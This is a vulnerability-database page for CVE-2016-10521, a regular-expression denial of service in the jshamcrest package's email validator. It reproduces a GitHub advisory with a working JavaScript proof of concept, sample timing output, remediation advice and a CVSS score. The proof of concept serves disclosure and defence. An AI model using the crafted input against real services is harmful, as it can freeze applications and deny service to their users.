CVE-2016-10521
UNKNOWN
Published 2018-05-31T20:00:00Z
Actions:
Expert Analysis
Professional remediation guidance
Get tailored security recommendations from our analyst team for CVE-2016-10521. We'll provide specific mitigation strategies based on your environment and risk profile.
No CVSS data available
Description
jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.
Available Exploits
No exploits available for this CVE.
Related News
No news articles found for this CVE.
Affected Products
Affected Versions:
GitHub Security Advisories
Community-driven vulnerability intelligence from GitHub
Advisory Details
The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.
## Proof of concept
```js
var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=1;i<=10000000;i=i+1) {
console.log("COUNT: " + i);
var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
console.log("LENGTH: " + str.length);
var start = process.hrtime();
emailAddress.matches(str)
var end = process.hrtime(start);
console.log(end);
}
```
### Results
It takes about 116 characters to get a 1.6 second event loop block.
```
[ 1, 633084590 ]
COUNT: 51
LENGTH: 116
```
# Timeline
- October 25, 2015 - Vulnerability Identified
- October 25, 2015 - Maintainers notified (no response)
## Recommendation
The `jshamcrest` package currently has no patched versions available.
At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).
Affected Packages
npm
jshamcrest
ECOSYSTEM:
≥0
≤0.7.1
CVSS Scoring
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
Advisory provided by GitHub Security Advisory Database. Published: February 18, 2019, Modified: September 13, 2023
References
Published: 2018-05-31T20:00:00Z
Last Modified: 2024-09-16T19:50:46.651Z
Copied to clipboard!